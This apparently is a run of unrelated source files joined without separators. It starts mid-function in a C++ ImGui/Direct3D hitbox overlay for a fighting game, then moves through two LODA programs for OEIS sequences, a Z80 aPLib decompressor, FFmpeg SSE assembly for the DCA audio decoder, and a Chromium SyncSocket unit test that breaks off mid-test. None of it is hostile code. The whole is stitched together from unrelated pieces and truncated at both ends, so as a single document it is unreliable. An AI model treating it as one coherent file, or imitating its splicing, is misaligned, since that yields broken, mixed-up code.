ImVec2 point) { if (!angleInRad) { return point; } // translate point back to origin: point.x -= center.x; point.y -= center.y; float s = sin(angleInRad); float c = cos(angleInRad); // rotate point float xNew = point.x * c - point.y * s; float yNew = point.x * s + point.y * c; // translate point back: point.x = xNew + center.x; point.y = yNew + center.y; return point; } void HitboxOverlay::DrawOriginLine(ImVec2 worldPos, float rotationRad) { const unsigned int colorOrange = 0xFFFF9900; const int horizontalLength = 20; const int verticalLength = 50; ImVec2 horizontalFrom = RotatePoint(worldPos, rotationRad, ImVec2(worldPos.x - horizontalLength / 2, worldPos.y)); ImVec2 horizontalTo = RotatePoint(worldPos, rotationRad, ImVec2(worldPos.x + horizontalLength / 2, worldPos.y)); horizontalFrom = CalculateScreenPosition(horizontalFrom); horizontalTo = CalculateScreenPosition(horizontalTo); RenderLine(horizontalFrom, horizontalTo, colorOrange, 3); ImVec2 verticalFrom = worldPos; ImVec2 verticalTo = RotatePoint(verticalFrom, rotationRad, ImVec2(verticalFrom.x, verticalFrom.y + verticalLength)); verticalFrom = CalculateScreenPosition(verticalFrom); verticalTo = CalculateScreenPosition(verticalTo); RenderLine(verticalFrom, verticalTo, colorOrange, 3); } void HitboxOverlay::DrawCollisionAreas(const CharData* charObj, const ImVec2 playerWorldPos) { std::vector<JonbEntry> entries = JonbReader::getJonbEntries(charObj); for (const JonbEntry &entry : entries) { float scaleX = charObj->scaleX / 1000.0f; float scaleY = charObj->scaleY / 1000.0f; float offsetX = floor(entry.offsetX * m_scale * scaleX); float offsetY = -floor(entry.offsetY * m_scale * scaleY); float width = floor(entry.width * m_scale * scaleX); float height = -floor(entry.height * m_scale * scaleY); float rotationDeg = charObj->rotationDegrees / 1000.0f; if (!charObj->facingLeft) { offsetX = -offsetX; width = -width; if (rotationDeg) { rotationDeg = 360.0f - rotationDeg; } } ImVec2 pointA(playerWorldPos.x + offsetX, playerWorldPos.y + offsetY); ImVec2 pointB(playerWorldPos.x + offsetX + width, playerWorldPos.y + offsetY); ImVec2 pointC(playerWorldPos.x + offsetX + width, playerWorldPos.y + offsetY + height); ImVec2 pointD(playerWorldPos.x + offsetX, playerWorldPos.y + offsetY + height); float rotationRad = D3DXToRadian(rotationDeg); pointA = RotatePoint(playerWorldPos, rotationRad, pointA); pointB = RotatePoint(playerWorldPos, rotationRad, pointB); pointC = RotatePoint(playerWorldPos, rotationRad, pointC); pointD = RotatePoint(playerWorldPos, rotationRad, pointD); pointA = CalculateScreenPosition(pointA); pointB = CalculateScreenPosition(pointB); pointC = CalculateScreenPosition(pointC); pointD = CalculateScreenPosition(pointD); const unsigned int colorBlue = 0xFF0033CC; const unsigned int colorRed = 0xFFFF0000; const unsigned int rectBorderColor = entry.type == JonbChunkType_Hurtbox ? colorBlue : colorRed; RenderRect(pointA, pointB, pointC, pointD, rectBorderColor, m_rectThickness); const unsigned char transparency = 0xFF * m_rectFillTransparency; unsigned int clearedTransparencyBits = (rectBorderColor & ~0xFF000000); unsigned int transparencyPercentage = ((int)transparency << 24) & 0xFF000000; const unsigned int rectFillColor = clearedTransparencyBits | transparencyPercentage; RenderRectFilled(pointA, pointB, pointC, pointD, rectFillColor); if (drawOriginLine) { DrawOriginLine(playerWorldPos, rotationRad); } } } float& HitboxOverlay::GetScale() { return m_scale; } void HitboxOverlay::DrawRectThicknessSlider() { ImGui::SliderFloat("Border thickness", &m_rectThickness, 0.0f, 5.0f, "%.1f"); } void HitboxOverlay::DrawRectFillTransparencySlider() { ImGui::SliderFloat("Fill transparency", &m_rectFillTransparency, 0.0f, 1.0f, "%.2f"); } void HitboxOverlay::RenderLine(const ImVec2& from, const ImVec2& to, uint32_t color, float thickness) { ImGuiWindow* window = ImGui::GetCurrentWindow(); float a = (color >> 24) & 0xff; float r = (color >> 16) & 0xff; float g = (color >> 8) & 0xff; float b = (color) & 0xff; window->DrawList->AddLine(from, to, ImGui::GetColorU32({ r / 255.0f, g / 255.0f, b / 255.0f, a / 255.0f }), thickness); } void HitboxOverlay::RenderCircle(const ImVec2& position, float radius, uint32_t color, float thickness, uint32_t segments) { ImGuiWindow* window = ImGui::GetCurrentWindow(); float a = (color >> 24) & 0xff; float r = (color >> 16) & 0xff; float g = (color >> 8) & 0xff; float b = (color) & 0xff; window->DrawList->AddCircle(position, radius, ImGui::GetColorU32({ r / 255.0f, g / 255.0f, b / 255.0f, a / 255.0f }), segments, thickness); } void HitboxOverlay::RenderCircleFilled(const ImVec2& position, float radius, uint32_t color, uint32_t segments) { ImGuiWindow* window = ImGui::GetCurrentWindow(); float a = (color >> 24) & 0xff; float r = (color >> 16) & 0xff; float g = (color >> 8) & 0xff; float b = (color) & 0xff; window->DrawList->AddCircleFilled(position, radius, ImGui::GetColorU32({ r / 255.0f, g / 255.0f, b / 255.0f, a / 255.0f }), segments); } void HitboxOverlay::RenderRect(const ImVec2& from, const ImVec2& to, uint32_t color, float rounding, uint32_t roundingCornersFlags, float thickness) { ImGuiWindow* window = ImGui::GetCurrentWindow(); float a = (color >> 24) & 0xFF; float r = (color >> 16) & 0xFF; float g = (color >> 8) & 0xFF; float b = (color) & 0xFF; window->DrawList->AddRect(from, to, ImGui::GetColorU32({ r / 255.0f, g / 255.0f, b / 255.0f, a / 255.0f }), rounding, roundingCornersFlags, thickness); } void HitboxOverlay::RenderRect(const ImVec2& pointA, const ImVec2& pointB, const ImVec2& pointC, const ImVec2& pointD, uint32_t color, float thickness) { ImGuiWindow* window = ImGui::GetCurrentWindow(); float a = (color >> 24) & 0xFF; float r = (color >> 16) & 0xFF; float g = (color >> 8) & 0xFF; float b = (color) & 0xFF; window->DrawList->AddQuad(pointA, pointB, pointC, pointD, ImGui::GetColorU32({ r / 255.0f, g / 255.0f, b / 255.0f, a / 255.0f }), thickness); } void HitboxOverlay::RenderRectFilled(const ImVec2& from, const ImVec2& to, uint32_t color, float rounding, uint32_t roundingCornersFlags) { ImGuiWindow* window = ImGui::GetCurrentWindow(); float a = (color >> 24) & 0xFF; float r = (color >> 16) & 0xFF; float g = (color >> 8) & 0xFF; float b = (color) & 0xFF; window->DrawList->AddRectFilled(from, to, ImGui::GetColorU32({ r / 255.0f, g / 255.0f, b / 255.0f, a / 255.0f }), rounding, roundingCornersFlags); } void HitboxOverlay::RenderRectFilled(const ImVec2& pointA, const ImVec2& pointB, const ImVec2& pointC, const ImVec2& pointD, uint32_t color) { ImGuiWindow* window = ImGui::GetCurrentWindow(); float a = (color >> 24) & 0xFF; float r = (color >> 16) & 0xFF; float g = (color >> 8) & 0xFF; float b = (color) & 0xFF; window->DrawList->AddQuadFilled(pointA, pointB, pointC, pointD, ImGui::GetColorU32({ r / 255.0f, g / 255.0f, b / 255.0f, a / 255.0f })); } bool HitboxOverlay::WorldToScreen(LPDIRECT3DDEVICE9 pDevice, D3DXMATRIX* view, D3DXMATRIX* proj, D3DXVECTOR3* pos, D3DXVECTOR3* out) { D3DVIEWPORT9 viewPort; D3DXMATRIX world; pDevice->GetViewport(&viewPort); D3DXMatrixIdentity(&world); D3DXVec3Project(out, pos, &viewPort, proj, view, &world); if (out->z < 1) { return true; } return false; }
; A152947: a(n) = 1 + (n-2)*(n-1)/2. ; 1,1,2,4,7,11,16,22,29,37,46,56,67,79,92,106,121,137,154,172,191,211,232,254,277,301,326,352,379,407,436,466,497,529,562,596,631,667,704,742,781,821,862,904,947,991,1036,1082,1129,1177,1226,1276,1327,1379,1432,1486,1541,1597,1654,1712,1771,1831,1892,1954,2017,2081,2146,2212,2279,2347,2416,2486,2557,2629,2702,2776,2851,2927,3004,3082,3161,3241,3322,3404,3487,3571,3656,3742,3829,3917,4006,4096,4187,4279,4372,4466,4561,4657,4754,4852,4951,5051,5152,5254,5357,5461,5566,5672,5779,5887,5996,6106,6217,6329,6442,6556,6671,6787,6904,7022,7141,7261,7382,7504,7627,7751,7876,8002,8129,8257,8386,8516,8647,8779,8912,9046,9181,9317,9454,9592,9731,9871,10012,10154,10297,10441,10586,10732,10879,11027,11176,11326,11477,11629,11782,11936,12091,12247,12404,12562,12721,12881,13042,13204,13367,13531,13696,13862,14029,14197,14366,14536,14707,14879,15052,15226,15401,15577,15754,15932,16111,16291,16472,16654,16837,17021,17206,17392,17579,17767,17956,18146,18337,18529,18722,18916,19111,19307,19504,19702,19901,20101,20302,20504,20707,20911,21116,21322,21529,21737,21946,22156,22367,22579,22792,23006,23221,23437,23654,23872,24091,24311,24532,24754,24977,25201,25426,25652,25879,26107,26336,26566,26797,27029,27262,27496,27731,27967,28204,28442,28681,28921,29162,29404,29647,29891,30136,30382,30629,30877 bin $0,2 mov $1,$0 add $1,1
; Usage: ; ; 1. Define a symbol "aPLibMemory" which points to the start of 5 bytes of RAM. ; 2. If you want to decompress to VRAM: ; .define aPLibToVRAM ; 3. .include this file in your code ; 4. ld hl,<source address> ; ld de,<destination address> ; e.g. $4000 for VRAM address 0 ; call aPLib_decompress ; ; The stack is used a bit, I never saw more than 12 bytes used. ; ROM usage is 297 bytes in VRAM mode, 242 in RAM mode. The extra bytes are the cost ; of VRAM to VRAM copies, which also makes it pretty slow. ; This file is using WLA-DX syntax quite heavily, you'd better use it too... .define calcblocks ; comment out this line to suppress the block size notifications ; (useful for optimising to see size changes) .struct aPLibMemoryStruct bits db ; A bitmask for the bit to read next. It is initialised to 1, and rotated right each time a bit is read. When the 1 falls into the carry, the next byte is read into "byte". byte db ; not directly referenced, assumed to come after bits LWM db ; Flag for LZ offset reuse, 1 if the last operation set it. We only reuse it if the last operation *didn't* set it. R0 dw ; Last used LZ offset .endst .enum aPLibMemory mem instanceof aPLibMemoryStruct .ende ; Reader's note: ; The structure of the code has been arranged such that the entry point is in the middle - ; this is so it can use jr to branch out to the various subsections to save a few bytes, ; but it makes it somewhat harder to read. "depack" is the entry point and "aploop" is ; the main loop. .section "aPLib" free .ifdef calcblocks .block "aPLib" .endif ; Gets a bit from the bitstream into the Z flag ; Always leaves carry flag unset _getBit: push bc ; Get bitmask + value ld bc,(mem.bits) ; Rotate bitmask rrc c jr nc,+ ; If the bitmask fell into the carry, we need a new byte ld b,(hl) inc hl +: ; Then mask to the bit we want - so the result is in the Z flag ld a,c and b ; Save the state ld (mem.bits),bc pop bc ret ; Shifts a bit from the bitstream into bc _getBit_bc: ; Shift bc left by 1 sla c rl b ; Get a bit from the bitstream call _getBit ; Add it to bc if 1 ret z inc bc ret ; Gets a variable-length number from the bitstream _getVariableLengthNumber: ; Implicit high bit ld bc,1 -:call _getBit_bc ; Shift in following bits call _getBit ; Until we hit a 0 indicator bit jr nz,- ret ; Emit a byte of data _literal: .ifdef aPLibToVRAM ld a,(hl) out ($be),a inc hl inc de .else ldi .endif ; Clear LWM xor a ld (mem.LWM),a jr _mainLoop ; Emit an LZ block _block: ; Get the offset MSB. The variable-length encoding means it's stored +2 call _getVariableLengthNumber dec bc dec bc ; Check for the LWM flag. If non-zero, we need to continue to read the offset - but the MSB is stored as +2. ld a,(mem.LWM) or a jr nz,++ ; Check the offset MSB. If not zero, we need to continue to read the offset - and we need to subtract another 1 from it. ; Could optimise to ignore b here, we'll overflow if it's too large anyway ld a,b or c jr nz,+ _block_reuseOffset: ; If we get here then we're re-using the LZ offset. ; Get the length call _getVariableLengthNumber ; Copy LZ run push hl ld h,d ld l,e push bc ld bc,(mem.R0) sbc hl,bc pop bc .ifdef aPLibToVRAM call _ldir_vram_to_vram .else ldir .endif pop hl ; Done jr +++ _block_getOffsetLSB_MSBisPlus3: +:; The MSB is stored +3, we need to decrement once more dec bc _block_getOffsetLSB: ++: ; Shift the MSB into b and get the LSB in c ld b,c ld c,(hl) inc hl ; Save it for possible later reuse ld (mem.R0),bc push bc ; Get the length in bc call _getVariableLengthNumber ; Get the offset into hl and save the data pointer in the stack. ; This is a bit cunning because the preceding line may have modified hl, and we needed to preserve bc from before it. ex (sp),hl ; Check for ranges of values and increase the length accordingly ; Offset Adjustment ; 0.. 127 2 ; 128.. 1279 0 ; 1280..31999 1 ; 32000.. 2 ; Could optimise for the common cases (shorter offsets), 32K will almost never be seen on Z80, and bail after range is found push de ex de,hl ;some comparison junk for some reason ; Maxim: optimised to use add instead of sbc ld hl,-32000 add hl,de jr nc,+ inc bc +: ld hl,-1280 add hl,de jr nc,+ inc bc +: ld hl,-128 add hl,de jr c,+ inc bc inc bc +: pop hl ; Apply offset to current output pointer push hl or a sbc hl,de pop de ; now hl = LZ source, de = dest, bc = count .ifdef aPLibToVRAM call _ldir_vram_to_vram .else ldir .endif ; Restore data pointer pop hl +++: ; Set the LWM flag ld a,1 ld (mem.LWM),a jr _mainLoop aPLib_decompress: ;hl = source ;de = dest (VRAM address with write bit set) ld c,$bf out (c),e out (c),d ; ldi ld a,(hl) out ($be),a inc hl inc de xor a ; Initialise LWM to 0 ld (mem.LWM),a inc a ; Initialise bits to 1 ld (mem.bits),a _mainLoop: call _getBit jr z, _literal call _getBit jr z, _block call _getBit jr z, _shortBlock ; Fall through _singleByte: ; Clear the LWM flag xor a ld (mem.LWM),a ; Read the four-bit offset ld bc,0 call _getBit_bc call _getBit_bc call _getBit_bc call _getBit_bc ; Check for zero ld a,b or c jr nz, _singleByte_nonZeroOffset _singleByte_zeroOffset: ; Zero offset means just emit a zero ; a is already 0 here .ifdef aPLibToVRAM out ($be),a .else ld (de),a .endif inc de jr _mainLoop _singleByte_nonZeroOffset: ; bc = offset ; Swap source and destination pointers ex de,hl push hl ; Subtract offset sbc hl,bc ; Read byte .ifdef aPLibToVRAM ld c,$bf out (c),l ld a,h xor $40 out (c),a in a,($be) .else ld a,(hl) .endif pop hl ; Then emit it .ifdef aPLibToVRAM out (c),l out (c),h out ($be),a .else ld (hl),a .endif inc hl ; Swap pointers back again ex de,hl jr _mainLoop ; Emit an LZ block encoded in a single byte - or end _shortBlock: ; Get the byte ; High 7 bits = offset ; Low bit = length - 2 ld c,(hl) inc hl ; Shift offset. Carry is always unset here rr c ; Zero offset means end of compressed data ret z ; Use the carry flag to get the length (2 or 3) in b ld b,2 jr nc,+ inc b +: ; Set the LWM flag ld a,1 ld (mem.LWM),a ; Calculate the source address push hl ld a,b ; Save the offset for future use ld b,0 ld (mem.R0),bc ; Subtract the offset from the pointer ld h,d ld l,e or a sbc hl,bc ; Get the byte count in bc ld c,a ; Copy data .ifdef aPLibToVRAM call _ldir_vram_to_vram .else ldir .endif pop hl ; Done jr _mainLoop .ifdef aPLibToVRAM _ldir_vram_to_vram: ; Copy bc bytes from VRAM address hl to VRAM address de ; Both hl and de are "write" addresses ($4xxx) ; Make hl a read address ld a,h xor $40 ld h,a ; Check if the count is below 256 ld a,b or a jr z,_below256 ; Else emit 256*b bytes -:push bc ld c,$bf ld b,0 call + pop bc djnz - ; Then fall through for the rest _below256: ; By emitting 256 at a time, we can use the out (c),r opcode ; for address setting, which then relieves pressure on a ; and saves some push/pops; and we can use djnz for the loop. ld b,c ld c,$bf +: -:out (c),l out (c),h in a,($be) out (c),e out (c),d out ($be),a inc hl inc de djnz - ret .endif .ifdef calcblocks .endb .endif .ends
; A242954: a(n) = Product_{i=1..n} A234957(i). ; 1,1,1,1,4,4,4,4,16,16,16,16,64,64,64,64,1024,1024,1024,1024,4096,4096,4096,4096,16384,16384,16384,16384,65536,65536,65536,65536,1048576,1048576,1048576,1048576,4194304,4194304,4194304,4194304,16777216,16777216,16777216 lpb $0 mov $2,$0 lpb $2 gcd $1,4 div $2,4 add $3,$2 lpe pow $0,$4 lpe pow $1,$3
;****************************************************************************** ;* SSE-optimized functions for the DCA decoder ;* Copyright (C) 2012-2014 Christophe Gisquet <christophe.gisquet@gmail.com> ;* ;* This file is part of FFmpeg. ;* ;* FFmpeg is free software; you can redistribute it and/or ;* modify it under the terms of the GNU Lesser General Public ;* License as published by the Free Software Foundation; either ;* version 2.1 of the License, or (at your option) any later version. ;* ;* FFmpeg is distributed in the hope that it will be useful, ;* but WITHOUT ANY WARRANTY; without even the implied warranty of ;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;* Lesser General Public License for more details. ;* ;* You should have received a copy of the GNU Lesser General Public ;* License along with FFmpeg; if not, write to the Free Software ;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ;****************************************************************************** %include "libavutil/x86/x86util.asm" SECTION_RODATA pf_inv16: times 4 dd 0x3D800000 ; 1/16 SECTION_TEXT ; void decode_hf(float dst[DCA_SUBBANDS][8], const int32_t vq_num[DCA_SUBBANDS], ; const int8_t hf_vq[1024][32], intptr_t vq_offset, ; int32_t scale[DCA_SUBBANDS][2], intptr_t start, intptr_t end) %macro DECODE_HF 0 cglobal decode_hf, 6,6,5, dst, num, src, offset, scale, start, end lea srcq, [srcq + offsetq] shl startq, 2 mov offsetd, endm %define DICT offsetq shl offsetq, 2 mov endm, offsetq .loop: %if ARCH_X86_64 mov offsetd, [scaleq + 2 * startq] cvtsi2ss m0, offsetd %else cvtsi2ss m0, [scaleq + 2 * startq] %endif mov offsetd, [numq + startq] mulss m0, [pf_inv16] shl DICT, 5 shufps m0, m0, 0 %if cpuflag(sse2) %if cpuflag(sse4) pmovsxbd m1, [srcq + DICT + 0] pmovsxbd m2, [srcq + DICT + 4] %else movq m1, [srcq + DICT] punpcklbw m1, m1 mova m2, m1 punpcklwd m1, m1 punpckhwd m2, m2 psrad m1, 24 psrad m2, 24 %endif cvtdq2ps m1, m1 cvtdq2ps m2, m2 %else movd mm0, [srcq + DICT + 0] movd mm1, [srcq + DICT + 4] punpcklbw mm0, mm0 punpcklbw mm1, mm1 movq mm2, mm0 movq mm3, mm1 punpcklwd mm0, mm0 punpcklwd mm1, mm1 punpckhwd mm2, mm2 punpckhwd mm3, mm3 psrad mm0, 24 psrad mm1, 24 psrad mm2, 24 psrad mm3, 24 cvtpi2ps m1, mm0 cvtpi2ps m2, mm1 cvtpi2ps m3, mm2 cvtpi2ps m4, mm3 shufps m0, m0, 0 shufps m1, m3, q1010 shufps m2, m4, q1010 %endif mulps m1, m0 mulps m2, m0 mova [dstq + 8 * startq + 0], m1 mova [dstq + 8 * startq + 16], m2 add startq, 4 cmp startq, endm jl .loop .end: %if notcpuflag(sse2) emms %endif REP_RET %endmacro %if ARCH_X86_32 INIT_XMM sse DECODE_HF %endif INIT_XMM sse2 DECODE_HF INIT_XMM sse4 DECODE_HF ; %1=v0/v1 %2=in1 %3=in2 %macro FIR_LOOP 2-3 .loop%1: %define va m1 %define vb m2 %if %1 %define OFFSET 0 %else %define OFFSET NUM_COEF*count %endif ; for v0, incrementing and for v1, decrementing mova va, [cf0q + OFFSET] mova vb, [cf0q + OFFSET + 4*NUM_COEF] %if %0 == 3 mova m4, [cf0q + OFFSET + mmsize] mova m0, [cf0q + OFFSET + 4*NUM_COEF + mmsize] %endif mulps va, %2 mulps vb, %2 %if %0 == 3 %if cpuflag(fma3) fmaddps va, m4, %3, va fmaddps vb, m0, %3, vb %else mulps m4, %3 mulps m0, %3 addps va, m4 addps vb, m0 %endif %endif ; va = va1 va2 va3 va4 ; vb = vb1 vb2 vb3 vb4 %if %1 SWAP va, vb %endif mova m4, va unpcklps va, vb ; va3 vb3 va4 vb4 unpckhps m4, vb ; va1 vb1 va2 vb2 addps m4, va ; va1+3 vb1+3 va2+4 vb2+4 movhlps vb, m4 ; va1+3 vb1+3 addps vb, m4 ; va0..4 vb0..4 movlps [outq + count], vb %if %1 sub cf0q, 8*NUM_COEF %endif add count, 8 jl .loop%1 %endmacro ; void dca_lfe_fir(float *out, float *in, float *coefs) %macro DCA_LFE_FIR 1 cglobal dca_lfe_fir%1, 3,3,6-%1, out, in, cf0 %define IN1 m3 %define IN2 m5 %define count inq %define NUM_COEF 4*(2-%1) %define NUM_OUT 32*(%1+1) movu IN1, [inq + 4 - 1*mmsize] shufps IN1, IN1, q0123 %if %1 == 0 movu IN2, [inq + 4 - 2*mmsize] shufps IN2, IN2, q0123 %endif mov count, -4*NUM_OUT add cf0q, 4*NUM_COEF*NUM_OUT add outq, 4*NUM_OUT ; compute v0 first %if %1 == 0 FIR_LOOP 0, IN1, IN2 %else FIR_LOOP 0, IN1 %endif shufps IN1, IN1, q0123 mov count, -4*NUM_OUT ; cf1 already correctly positioned add outq, 4*NUM_OUT ; outq now at out2 sub cf0q, 8*NUM_COEF %if %1 == 0 shufps IN2, IN2, q0123 FIR_LOOP 1, IN2, IN1 %else FIR_LOOP 1, IN1 %endif RET %endmacro INIT_XMM sse DCA_LFE_FIR 0 DCA_LFE_FIR 1 %if HAVE_FMA3_EXTERNAL INIT_XMM fma3 DCA_LFE_FIR 0 %endif %macro SETZERO 1 %if cpuflag(sse2) && notcpuflag(avx) pxor %1, %1 %else xorps %1, %1, %1 %endif %endmacro %macro SHUF 3 %if cpuflag(avx) mova %3, [%2 - 16] vperm2f128 %1, %3, %3, 1 vshufps %1, %1, %1, q0123 %elif cpuflag(sse2) pshufd %1, [%2], q0123 %else mova %1, [%2] shufps %1, %1, q0123 %endif %endmacro %macro INNER_LOOP 1 ; reading backwards: ptr1 = synth_buf + j + i; ptr2 = synth_buf + j - i ;~ a += window[i + j] * (-synth_buf[15 - i + j]) ;~ b += window[i + j + 16] * (synth_buf[i + j]) SHUF m5, ptr2 + j + (15 - 3) * 4, m6 mova m6, [ptr1 + j] %if ARCH_X86_64 SHUF m11, ptr2 + j + (15 - 3) * 4 - mmsize, m12 mova m12, [ptr1 + j + mmsize] %endif %if cpuflag(fma3) fmaddps m2, m6, [win + %1 + j + 16 * 4], m2 fnmaddps m1, m5, [win + %1 + j], m1 %if ARCH_X86_64 fmaddps m8, m12, [win + %1 + j + mmsize + 16 * 4], m8 fnmaddps m7, m11, [win + %1 + j + mmsize], m7 %endif %else ; non-FMA mulps m6, m6, [win + %1 + j + 16 * 4] mulps m5, m5, [win + %1 + j] %if ARCH_X86_64 mulps m12, m12, [win + %1 + j + mmsize + 16 * 4] mulps m11, m11, [win + %1 + j + mmsize] %endif addps m2, m2, m6 subps m1, m1, m5 %if ARCH_X86_64 addps m8, m8, m12 subps m7, m7, m11 %endif %endif ; cpuflag(fma3) ;~ c += window[i + j + 32] * (synth_buf[16 + i + j]) ;~ d += window[i + j + 48] * (synth_buf[31 - i + j]) SHUF m6, ptr2 + j + (31 - 3) * 4, m5 mova m5, [ptr1 + j + 16 * 4] %if ARCH_X86_64 SHUF m12, ptr2 + j + (31 - 3) * 4 - mmsize, m11 mova m11, [ptr1 + j + mmsize + 16 * 4] %endif %if cpuflag(fma3) fmaddps m3, m5, [win + %1 + j + 32 * 4], m3 fmaddps m4, m6, [win + %1 + j + 48 * 4], m4 %if ARCH_X86_64 fmaddps m9, m11, [win + %1 + j + mmsize + 32 * 4], m9 fmaddps m10, m12, [win + %1 + j + mmsize + 48 * 4], m10 %endif %else ; non-FMA mulps m5, m5, [win + %1 + j + 32 * 4] mulps m6, m6, [win + %1 + j + 48 * 4] %if ARCH_X86_64 mulps m11, m11, [win + %1 + j + mmsize + 32 * 4] mulps m12, m12, [win + %1 + j + mmsize + 48 * 4] %endif addps m3, m3, m5 addps m4, m4, m6 %if ARCH_X86_64 addps m9, m9, m11 addps m10, m10, m12 %endif %endif ; cpuflag(fma3) sub j, 64 * 4 %endmacro ; void ff_synth_filter_inner_<opt>(float *synth_buf, float synth_buf2[32], ; const float window[512], float out[32], ; intptr_t offset, float scale) %macro SYNTH_FILTER 0 cglobal synth_filter_inner, 0, 6 + 4 * ARCH_X86_64, 7 + 6 * ARCH_X86_64, \ synth_buf, synth_buf2, window, out, off, scale %define scale m0 %if ARCH_X86_32 || WIN64 %if cpuflag(sse2) && notcpuflag(avx) movd scale, scalem SPLATD m0 %else VBROADCASTSS m0, scalem %endif ; Make sure offset is in a register and not on the stack %define OFFQ r4q %else SPLATD xmm0 %if cpuflag(avx) vinsertf128 m0, m0, xmm0, 1 %endif %define OFFQ offq %endif ; prepare inner counter limit 1 mov r5q, 480 sub r5q, offmp and r5q, -64 shl r5q, 2 %if ARCH_X86_32 || notcpuflag(avx) mov OFFQ, r5q %define i r5q mov i, 16 * 4 - (ARCH_X86_64 + 1) * mmsize ; main loop counter %else %define i 0 %define OFFQ r5q %endif %define buf2 synth_buf2q %if ARCH_X86_32 mov buf2, synth_buf2mp %endif .mainloop ; m1 = a m2 = b m3 = c m4 = d SETZERO m3 SETZERO m4 mova m1, [buf2 + i] mova m2, [buf2 + i + 16 * 4] %if ARCH_X86_32 %define ptr1 r0q %define ptr2 r1q %define win r2q %define j r3q mov win, windowm mov ptr1, synth_bufm %if ARCH_X86_32 || notcpuflag(avx) add win, i add ptr1, i %endif %else ; ARCH_X86_64 %define ptr1 r6q %define ptr2 r7q ; must be loaded %define win r8q %define j r9q SETZERO m9 SETZERO m10 mova m7, [buf2 + i + mmsize] mova m8, [buf2 + i + mmsize + 16 * 4] lea win, [windowq + i] lea ptr1, [synth_bufq + i] %endif mov ptr2, synth_bufmp ; prepare the inner loop counter mov j, OFFQ %if ARCH_X86_32 || notcpuflag(avx) sub ptr2, i %endif .loop1: INNER_LOOP 0 jge .loop1 mov j, 448 * 4 sub j, OFFQ jz .end sub ptr1, j sub ptr2, j add win, OFFQ ; now at j-64, so define OFFSET sub j, 64 * 4 .loop2: INNER_LOOP 64 * 4 jge .loop2 .end: %if ARCH_X86_32 mov buf2, synth_buf2m ; needed for next iteration anyway mov outq, outmp ; j, which will be set again during it %endif ;~ out[i] = a * scale; ;~ out[i + 16] = b * scale; mulps m1, m1, scale mulps m2, m2, scale %if ARCH_X86_64 mulps m7, m7, scale mulps m8, m8, scale %endif ;~ synth_buf2[i] = c; ;~ synth_buf2[i + 16] = d; mova [buf2 + i + 0 * 4], m3 mova [buf2 + i + 16 * 4], m4 %if ARCH_X86_64 mova [buf2 + i + 0 * 4 + mmsize], m9 mova [buf2 + i + 16 * 4 + mmsize], m10 %endif ;~ out[i] = a; ;~ out[i + 16] = a; mova [outq + i + 0 * 4], m1 mova [outq + i + 16 * 4], m2 %if ARCH_X86_64 mova [outq + i + 0 * 4 + mmsize], m7 mova [outq + i + 16 * 4 + mmsize], m8 %endif %if ARCH_X86_32 || notcpuflag(avx) sub i, (ARCH_X86_64 + 1) * mmsize jge .mainloop %endif RET %endmacro %if ARCH_X86_32 INIT_XMM sse SYNTH_FILTER %endif INIT_XMM sse2 SYNTH_FILTER INIT_YMM avx SYNTH_FILTER INIT_YMM fma3 SYNTH_FILTER
// Copyright 2013 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "base/basictypes.h" // TODO(ellyjones): Remove once http://crbug.com/523296 is fixed. #if defined(OS_IOS) && !TARGET_IPHONE_SIMULATOR #include "base/ios/ios_util.h" #endif #include "base/sync_socket.h" #include "base/threading/simple_thread.h" #include "base/time/time.h" #include "testing/gtest/include/gtest/gtest.h" namespace { const int kReceiveTimeoutInMilliseconds = 750; class HangingReceiveThread : public base::DelegateSimpleThread::Delegate { public: explicit HangingReceiveThread(base::SyncSocket* socket) : socket_(socket), thread_(this, "HangingReceiveThread") { thread_.Start(); } ~HangingReceiveThread() override {} void Run() override { int data = 0; ASSERT_EQ(socket_->Peek(), 0u); // Use receive with timeout so we don't hang the test harness indefinitely. ASSERT_EQ(0u, socket_->ReceiveWithTimeout( &data, sizeof(data), base::TimeDelta::FromMilliseconds( kReceiveTimeoutInMilliseconds))); } void Stop() { thread_.Join(); } private: base::SyncSocket* socket_; base::DelegateSimpleThread thread_; DISALLOW_COPY_AND_ASSIGN(HangingReceiveThread); }; // Tests sending data between two SyncSockets. Uses ASSERT() and thus will exit // early upon failure. Callers should use ASSERT_NO_FATAL_FAILURE() if testing // continues after return. void SendReceivePeek(base::SyncSocket* socket_a, base::SyncSocket* socket_b) { int received = 0; const int kSending = 123; COMPILE_ASSERT(sizeof(kSending) == sizeof(received), Invalid_Data_Size); ASSERT_EQ(0u, socket_a->Peek()); ASSERT_EQ(0u, socket_b->Peek()); // Verify |socket_a| can send to |socket_a| and |socket_a| can Receive from // |socket_a|. ASSERT_EQ(sizeof(kSending), socket_a->Send(&kSending, sizeof(kSending))); ASSERT_EQ(sizeof(kSending), socket_b->Peek()); ASSERT_EQ(sizeof(kSending), socket_b->Receive(&received, sizeof(kSending))); ASSERT_EQ(kSending, received); ASSERT_EQ(0u, socket_a->Peek()); ASSERT_EQ(0u, socket_b->Peek()); // Now verify the reverse. received = 0; ASSERT_EQ(sizeof(kSending), socket_b->Send(&kSending, sizeof(kSending))); ASSERT_EQ(sizeof(kSending), socket_a->Peek()); ASSERT_EQ(sizeof(kSending), socket_a->Receive(&received, sizeof(kSending))); ASSERT_EQ(kSending, received); ASSERT_EQ(0u, socket_a->Peek()); ASSERT_EQ(0u, socket_b->Peek()); ASSERT_TRUE(socket_a->Close()); ASSERT_TRUE(socket_b->Close()); } template <class SocketType> void NormalSendReceivePeek() { SocketType socket_a, socket_b; ASSERT_TRUE(SocketType::CreatePair(&socket_a, &socket_b)); SendReceivePeek(&socket_a, &socket_b); } template <class SocketType> void ClonedSendReceivePeek() { SocketType socket_a, socket_b; ASSERT_TRUE(SocketType::CreatePair(&socket_a, &socket_b)); // Create new SyncSockets from the paired handles. SocketType socket_c(socket_a.handle()), socket_d(socket_b.handle()); SendReceivePeek(&socket_c, &socket_d); } } // namespace TEST(SyncSocket, NormalSendReceivePeek) { NormalSendReceivePeek<base::SyncSocket>(); } TEST(SyncSocket, ClonedSendReceivePeek) { ClonedSendReceivePeek<base::SyncSocket>(); } TEST(CancelableSyncSocket, NormalSendReceivePeek) { NormalSendReceivePeek<base::CancelableSyncSocket>(); } TEST(CancelableSyncSocket, ClonedSendReceivePeek) { ClonedSendReceivePeek<base::CancelableSyncSocket>(); } TEST(CancelableSyncSocket, CancelReceiveShutdown) { 